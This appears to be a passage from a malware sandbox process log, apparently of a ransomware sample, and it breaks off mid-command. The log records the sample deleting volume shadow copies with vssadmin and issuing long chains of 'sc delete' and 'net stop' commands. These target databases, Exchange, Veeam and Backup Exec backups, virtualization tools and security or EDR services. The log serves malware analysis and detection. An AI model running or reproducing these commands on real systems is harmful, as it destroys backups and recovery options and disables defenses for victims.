C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "XT800Service_Personal"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLSERVERAGENT4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLWriter4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLBrowser4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLFDLauncher4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLSERVER4⤵
-
C:\Windows\SysWOW64\sc.exesc delete QcSoftService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLServerOLAPService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMTools4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VGAuthService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSDTC4⤵
-
C:\Windows\SysWOW64\sc.exesc delete TeamViewer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ReportServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RabbitMQ4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AHS SERVICE"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sense Shield Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SSMonitorService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete SSSyncService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdAppService13004⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQL$SQL20084⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLAgent$SQL20084⤵
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdTaskService13004⤵
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdUpgradeService13004⤵
-
C:\Windows\SysWOW64\sc.exesc delete VirboxWebServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete jhi_service4⤵
-
C:\Windows\SysWOW64\sc.exesc delete LMS4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FontCache3.0.0.0"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "DAService_TCP"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "eCard-TTransServer"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete eCardMPService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete EnergyDataService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete UI0Detect4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete K3MobileService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete TCPIDDAService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete WebAttendServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete UIODetect4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "wanxiao-monitor"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMAuthdService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete VMUSBArbService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMwareHostd4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vm-agent"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VmAgentDaemon4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OpenSSHd4⤵
-
C:\Windows\SysWOW64\sc.exesc delete eSightService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete apachezt4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Jenkins4⤵
-
C:\Windows\SysWOW64\sc.exesc delete secbizsrv4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete SQLTELEMETRY4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete MSMQ4⤵
-
C:\Windows\SysWOW64\sc.exesc delete smtpsvrJT4⤵
-
C:\Windows\SysWOW64\sc.exesc delete zyb_sync4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete 360EntHttpServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete 360EntSvc4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete 360EntClientSvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete NFWebServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete wampapache4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSEARCH4⤵
-
C:\Windows\SysWOW64\sc.exesc delete msftesql4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SyncBASE Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleDBConcoleorcl4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleMTSRecoveryService4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services""3⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1ClrAgent4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1TNSListener4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleServiceORCL4⤵
-
C:\Windows\SysWOW64\sc.exesc delete aspnet_state @sc delete Redis4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL4⤵
-
C:\Windows\SysWOW64\sc.exesc delete JhTask4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete XT800Service_Personal4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete MCService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete allpass_redisservice_port211604⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Flash Helper Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Kiwi Syslog Server"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UWS HiPriv Services"4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"3⤵
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService14⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService15⤵
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService24⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService25⤵
-
C:\Windows\SysWOW64\net.exenet stop "memcached Server"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "memcached Server"5⤵
-
C:\Windows\SysWOW64\net.exenet stop Apache2.44⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.45⤵
-
C:\Windows\SysWOW64\net.exenet stop UFIDAWebService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UFIDAWebService5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSComplianceAudit4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSComplianceAudit5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeADTopology4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeAntispamUpdate4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeAntispamUpdate5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeCompliance4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeCompliance5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDagMgmt4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDagMgmt5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDelivery4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDelivery5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDiagnostics4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDiagnostics5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeEdgeSync4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeEdgeSync5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFastSearch4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFastSearch5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFrontEndTransport4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFrontEndTransport5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHM4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHM5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SQL20084⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL20085⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHMRecovery4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHMRecovery5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeImap44⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeImap45⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIMAP4BE4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIMAP4BE5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxAssistants4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxAssistants5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxReplication4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxReplication5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeNotificationsBroker4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeNotificationsBroker5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangePop34⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangePop35⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangePOP3BE4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangePOP3BE5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"3⤵
-
C:\Windows\SysWOW64\net.exenet stop HaoZipSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop HaoZipSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop "igfxCUIService2.0.0.0"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"5⤵
-
C:\Windows\SysWOW64\net.exenet stop Realtek11nSU4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Realtek11nSU5⤵
-
C:\Windows\SysWOW64\net.exenet stop xenlite4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop xenlite5⤵
-
C:\Windows\SysWOW64\net.exenet stop XenSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop XenSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop Apache2.24⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.25⤵
-
C:\Windows\SysWOW64\net.exenet stop "Synology Drive VSS Service x64"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Synology Drive VSS Service x64"5⤵
-
C:\Windows\SysWOW64\net.exenet stop DellDRLogSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DellDRLogSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop FirebirdGuardianDeafaultInstance4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance5⤵
-
C:\Windows\SysWOW64\net.exenet stop JWEM3DBAUTORun4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWEM3DBAUTORun5⤵
-
C:\Windows\SysWOW64\net.exenet stop JWRinfoClientService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWRinfoClientService5⤵
-
C:\Windows\SysWOW64\net.exenet stop JWService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWService5⤵
-
C:\Windows\SysWOW64\net.exenet stop Service24⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Service25⤵
-
C:\Windows\SysWOW64\net.exenet stop RapidRecoveryAgent4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapidRecoveryAgent5⤵
-
C:\Windows\SysWOW64\net.exenet stop FirebirdServerDefaultInstance4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdServerDefaultInstance5⤵
-
C:\Windows\SysWOW64\net.exenet stop AdobeARMservice4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AdobeARMservice5⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamCatalogSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeanBackupSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeanBackupSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamTransportSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdAppService13004⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService13005⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdTaskService13004⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService13005⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdUpgradeService13004⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService13005⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdWebService13004⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdWebService13005⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamNFSSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamDeploySvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamCloudSvc4⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamMountSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamMountSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamBrokerSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBrokerSvc5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""3⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMAsyncService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete REPLICA4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCATS4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCAVMCU4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RtcQms4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCMEETINGMCU4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCIMMCU4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCDATAMCU4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCCDR4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ProjectEventService164⤵
-
C:\Windows\SysWOW64\sc.exesc delete ProjectQueueService164⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPAdminV44⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPSearchHostController4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPTimerV44⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPTraceV44⤵
-
C:\Windows\SysWOW64\sc.exesc delete OSearch164⤵
-
C:\Windows\SysWOW64\sc.exesc delete ProjectCalcService164⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete c2wts4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete AppFabricCachingService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete ADWS4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoard574⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoardRCService574⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete vsvnjobsvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VisualSVNServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FlexNet Licensing Service 64"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete BestSyncSvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete LPManager4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MediatekRegistryWriter4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RaAutoInstSrv_RT28704⤵
-
C:\Windows\SysWOW64\sc.exesc delete CobianBackup104⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLANYs_sem54⤵
-
C:\Windows\SysWOW64\sc.exesc delete CASLicenceServer4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete SQLService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete semwebsrv4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete TbossSystem4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ErpEnvSvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.DispatchService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.UpdateService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Config.WindowsService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.DataCenterService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.SchedulingService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Setup.InstallService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MysoftUpdate4⤵
-
C:\Windows\SysWOW64\sc.exesc delete edr_monitor4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete abs_deployer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete savsvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ShareBoxMonitorService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ShareBoxService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete CloudExchangeService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "U8WorkerService2"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete CIS4⤵
-
C:\Windows\SysWOW64\sc.exesc delete EASService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete KICkSvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8SmsSrv4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OfficeClearCache4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete TurboCRM704⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8DispatchService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8EISService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8EncryptService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8GCService4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete 